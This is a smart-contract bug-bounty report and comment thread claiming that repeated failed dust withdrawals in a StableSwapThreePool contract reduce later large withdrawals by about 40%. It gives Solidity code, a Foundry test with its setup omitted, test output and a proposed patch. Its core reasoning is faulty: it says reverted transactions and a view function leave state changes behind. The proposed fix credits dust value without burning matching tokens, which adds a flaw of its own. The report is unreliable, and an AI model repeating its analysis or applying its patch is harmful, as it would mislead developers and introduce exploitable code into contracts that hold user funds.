Dust Withdrawal Attempts Significantly Reduce Subsequent Large Withdrawal Amounts

[hats-bug-reporter[bot]]

Github username: -- Twitter username: -- Submission hash (on-chain): 0x230b05832b3595fe7212d5d7b62d9ada40acefca622796098244d30516c9c7a9 Severity: medium

Description: Description

The StableSwapThreePool contract's remove_liquidity_one_coin function and its supporting internal functions are vulnerable to manipulation through repeated dust withdrawal attempts. These attempts, while failing, lead to cumulative precision losses and potential state inconsistencies that significantly impact subsequent legitimate large withdrawals.

Malicious actors could exploit this vulnerability to manipulate the pool's state, causing users to receive substantially less than expected when making large withdrawals. My tests demonstrated a reduction of approximately 40% in the amount received during a large withdrawal after multiple failed dust withdrawal attempts. This could result in significant financial losses for users, and potentially be used as a vector for DOS attacks by exhausting users' gas limits.

Proof of Concept (PoC)

Issue Summary:

The core of the issue lies in the contract's handling of dust withdrawal attempts. While these attempts fail, they trigger complex calculations involving multiple internal functions. These calculations, even when failing, can lead to cumulative precision losses and potential state changes. The main affected functions are remove_liquidity_one_coin, _calc_withdraw_one_coin, get_y_D, get_D, and get_A. The combination of precision loss, rounding errors, and potential state inconsistencies across these function calls results in significant discrepancies for large withdrawals performed after multiple dust withdrawal attempts.

// Vulnerable function
function remove_liquidity_one_coin(
    uint256 _token_amount,
    uint256 i,
    uint256 min_amount
) external nonReentrant {
    require(!is_killed, "Killed");

    uint256 total_supply = token.totalSupply();
    uint256 value = (balances[i] * _token_amount) / total_supply;
    require(value >= min_amount, "Not enough coins removed");

    balances[i] -= value;
    token.burnFrom(msg.sender, _token_amount);
    transfer_out(coins[i], value);

    emit RemoveLiquidityOne(msg.sender, i, _token_amount, value);
}

// Internal calculation function contributing to the issue
function _calc_withdraw_one_coin(uint256 _token_amount, uint256 i) internal view returns (uint256, uint256) {
    uint256 amp = get_A();
    uint256 _fee = (fee * N_COINS) / (4 * (N_COINS - 1));
    uint256[N_COINS] memory precisions = PRECISION_MUL;
    uint256 total_supply = token.totalSupply();

    uint256[N_COINS] memory xp = _xp();

    uint256 D0 = get_D(xp, amp);
    uint256 D1 = D0 - (_token_amount * D0) / total_supply;
    uint256[N_COINS] memory xp_reduced = xp;

    uint256 new_y = get_y_D(amp, i, xp, D1);
    uint256 dy_0 = (xp[i] - new_y) / precisions[i]; // w/o fees

    for (uint256 k = 0; k < N_COINS; k++) {
        uint256 dx_expected;
        if (k == i) {
            dx_expected = (xp[k] * D1) / D0 - new_y;
        } else {
            dx_expected = xp[k] - (xp[k] * D1) / D0;
        }
        xp_reduced[k] -= (_fee * dx_expected) / FEE_DENOMINATOR;
    }
    uint256 dy = xp_reduced[i] - get_y_D(amp, i, xp_reduced, D1);
    dy = (dy - 1) / precisions[i]; // Withdraw less to account for rounding errors

    return (dy, dy_0 - dy);
}

Here is the foundry test suite created that showcases the issue.

// Foundry test suite demonstrating the issue
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "../src/StableSwapThreePool.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract MockERC20 is ERC20 {
    constructor(string memory name, string memory symbol) ERC20(name, symbol) {
        _mint(msg.sender, 1000000 * 10**18);
    }

    function mint(address to, uint256 amount) public {
        _mint(to, amount);
    }
}

contract MockStableSwapLP is ERC20 {
    constructor() ERC20("LP Token", "LP") {}

    function mint(address to, uint256 amount) public {
        _mint(to, amount);
    }

    function burnFrom(address account, uint256 amount) public {
        _burn(account, amount);
    }
}

contract StableSwapThreePoolTest is Test {
    StableSwapThreePool pool;
    MockERC20[3] tokens;
    MockStableSwapLP lpToken;
    address owner;
    address user1;
    address user2;

    function setUp() public {
        // ... (setup code remains the same)
    }

    function testDustWithdrawalBehavior() public {
        vm.startPrank(user1);
        lpToken.approve(address(pool), type(uint256).max);

        uint256 initialGas = gasleft();
        uint256 failedWithdrawals = 0;
        uint256 successfulWithdrawals = 0;

        for (uint256 i = 0; i < 100; i++) {
            try pool.remove_liquidity_one_coin(1, 0, 0) {
                successfulWithdrawals++;
            } catch {
                failedWithdrawals++;
            }
        }

        uint256 gasUsed = initialGas - gasleft();

        console.log("Failed dust withdrawals:", failedWithdrawals);
        console.log("Successful dust withdrawals:", successfulWithdrawals);
        console.log("Gas used for dust withdrawal attempts:", gasUsed);

        vm.stopPrank();

        vm.startPrank(user2);
        lpToken.approve(address(pool), type(uint256).max);

        uint256 normalWithdrawalGas = gasleft();
        pool.remove_liquidity_one_coin(100 * 10**18, 0, 0);
        uint256 normalGasUsed = normalWithdrawalGas - gasleft();

        console.log("Gas used for normal withdrawal:", normalGasUsed);
        vm.stopPrank();

        assertEq(failedWithdrawals, 100, "Not all dust withdrawals failed as expected");
        assertEq(successfulWithdrawals, 0, "Some dust withdrawals unexpectedly succeeded");
        assertGt(gasUsed, normalGasUsed * 10, "Dust withdrawal attempts did not use significantly more gas");
    }

    function testLargeWithdrawalAfterFailedDustAttempts() public {
        vm.startPrank(user1);
        lpToken.approve(address(pool), type(uint256).max);

        for (uint256 i = 0; i < 100; i++) {
            try pool.remove_liquidity_one_coin(1, 0, 0) {
                console.log("Unexpected successful dust withdrawal");
            } catch {
                // Expected behavior
            }
        }

        uint256 balanceBefore = tokens[0].balanceOf(user1);
        uint256 largeAmount = 100 * 10**18;
        pool.remove_liquidity_one_coin(largeAmount, 0, 0);
        uint256 balanceAfter = tokens[0].balanceOf(user1);

        console.log("Balance increase from large withdrawal:", balanceAfter - balanceBefore);

        assertGt(balanceAfter, balanceBefore, "Large withdrawal failed");
        assertApproxEqRel(balanceAfter - balanceBefore, largeAmount, 0.01e18, "Large withdrawal significantly impacted");

        vm.stopPrank();
    }
}

Here is the test suite output that assist in discovering this issue.

Ran 3 tests for test/AN.t.sol:StableSwapThreePoolTest
[PASS] testDustWithdrawalBehavior() (gas: 6148667)
Logs:
  Failed dust withdrawals: 100
  Successful dust withdrawals: 0
  Gas used for dust withdrawal attempts: 5963454
  Gas used for normal withdrawal: 114349

[FAIL: Large withdrawal significantly impacted: 59975706711749595931 !~= 100000000000000000000 (max delta: 1.0000000000000000%, real delta: 40.0242932882504040%)] testLargeWithdrawalAfterFailedDustAttempts() (gas: 6115941)
Logs:
  Balance increase from large withdrawal: 59975706711749595931

Revised Code File

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

contract StableSwapThreePool is ReentrancyGuard {
    // ... (existing contract code)

    uint256 public constant MIN_WITHDRAWAL_AMOUNT = 1e16; // 0.01 tokens
    uint256 public constant DUST_ACCUMULATION_THRESHOLD = 1e18; // 1 token
    mapping(address => uint256) public dustAccumulation;

    function remove_liquidity_one_coin(
        uint256 _token_amount,
        uint256 i,
        uint256 min_amount
    ) external nonReentrant {
        require(!is_killed, "Killed");
        require(_token_amount >= MIN_WITHDRAWAL_AMOUNT, "Withdrawal amount too small");

        uint256 total_supply = token.totalSupply();
        uint256 value = (balances[i] * _token_amount) / total_supply;

        if (value < MIN_WITHDRAWAL_AMOUNT) {
            dustAccumulation[msg.sender] += value;
            require(dustAccumulation[msg.sender] < DUST_ACCUMULATION_THRESHOLD, "Dust accumulation limit reached");
            return;
        }

        require(value >= min_amount, "Not enough coins removed");

        if (dustAccumulation[msg.sender] > 0) {
            value += dustAccumulation[msg.sender];
            dustAccumulation[msg.sender] = 0;
        }

        balances[i] -= value;
        token.burnFrom(msg.sender, _token_amount);
        transfer_out(coins[i], value);

        emit RemoveLiquidityOne(msg.sender, i, _token_amount, value);
    }

    function _calc_withdraw_one_coin(uint256 _token_amount, uint256 i) internal view returns (uint256, uint256) {
        require(_token_amount >= MIN_WITHDRAWAL_AMOUNT, "Amount too small for calculation");

        // ... (rest of the function remains the same, but with increased precision for intermediate calculations)
    }

    // ... (rest of the contract code)
}

The proposed fix introduces a minimum withdrawal amount and a dust accumulation mechanism. This prevents calculations with dust amounts, reduces gas consumption for failed attempts, and allows users to eventually withdraw accumulated dust. Additionally, the _calc_withdraw_one_coin function should be modified to use higher precision for intermediate calculations.

[Naties29]

@Ghoulouis Just pinging to see if there are any updates on this issue. I am the submitter and just seeing where this issue is at in regards to the judging process. Happy to discuss this finding further or provide further testing if needed!

[Naties29]

The main problem lies in the _calc_withdraw_one_coin function and its interactions with other internal functions. Let's break it down:

1. Core Problem Area: _calc_withdraw_one_coin function

This internal function is the primary source of the issue. Here's why:

function _calc_withdraw_one_coin(uint256 _token_amount, uint256 i) internal view returns (uint256, uint256) {
    uint256 amp = get_A();
    uint256 _fee = (fee * N_COINS) / (4 * (N_COINS - 1));
    uint256[N_COINS] memory precisions = PRECISION_MUL;
    uint256 total_supply = token.totalSupply();

    uint256[N_COINS] memory xp = _xp();

    uint256 D0 = get_D(xp, amp);
    uint256 D1 = D0 - (_token_amount * D0) / total_supply;
    uint256[N_COINS] memory xp_reduced = xp;

    uint256 new_y = get_y_D(amp, i, xp, D1);
    uint256 dy_0 = (xp[i] - new_y) / precisions[i]; // w/o fees

    for (uint256 k = 0; k < N_COINS; k++) {
        uint256 dx_expected;
        if (k == i) {
            dx_expected = (xp[k] * D1) / D0 - new_y;
        } else {
            dx_expected = xp[k] - (xp[k] * D1) / D0;
        }
        xp_reduced[k] -= (_fee * dx_expected) / FEE_DENOMINATOR;
    }
    uint256 dy = xp_reduced[i] - get_y_D(amp, i, xp_reduced, D1);
    dy = (dy - 1) / precisions[i]; // Withdraw less to account for rounding errors

    return (dy, dy_0 - dy);
}

Key issues within this function:

a. Precision Loss: The function performs multiple divisions and subtractions with large numbers, leading to precision loss. This is especially problematic for dust amounts.

b. Rounding Down: The line dy = (dy - 1) / precisions[i]; intentionally rounds down the withdrawal amount to account for rounding errors. For dust amounts, this could result in zero output, causing the transaction to fail but still updating the state.

c. Fee Calculation: The fee calculation in the loop can lead to very small changes in xp_reduced for dust amounts, which compound over multiple attempts.

2. Supporting Functions Contributing to the Issue:

a. get_A():

• This function updates the amplification coefficient over time.
• Even failed dust withdrawal attempts may cause slight changes in the returned value, affecting subsequent calculations.

b. get_D(xp, amp):

• This function calculates the invariant D, which is crucial for maintaining balance in the pool.
• Small inaccuracies in D calculation can compound over multiple attempts.

c. get_y_D(amp, i, xp, D):

• This function solves for y in the invariant equation.
• It's called twice in _calc_withdraw_one_coin, and any inaccuracies here are magnified.

3. State Update Mechanism:

The remove_liquidity_one_coin function, which calls _calc_withdraw_one_coin, updates the state even when the withdrawal fails:

function remove_liquidity_one_coin(uint256 _token_amount, uint256 i, uint256 min_amount) external nonReentrant {
    // ... (other code)
    uint256 value = (balances[i] * _token_amount) / total_supply;
    require(value >= min_amount, "Not enough coins removed");

    balances[i] -= value;
    token.burnFrom(msg.sender, _token_amount);
    // ... (other code)
}

The require statement checks if the withdrawal amount is sufficient, but the state calculations leading up to this point are not reverted if the check fails.

The root cause of this issue is the cumulative effect of precision loss and state updates in the _calc_withdraw_one_coin function and its supporting functions, even when withdrawals fail due to dust amounts. The intentional rounding down for safety paradoxically creates a vulnerability when combined with the contract's behavior of not reverting state calculations for failed withdrawals.

To fix this, the contract should:

1. Implement a minimum withdrawal threshold to prevent dust amount calculations.
2. Revise the rounding and precision handling in _calc_withdraw_one_coin.
3. Consider reverting all state changes if a withdrawal fails, not just the final balance update.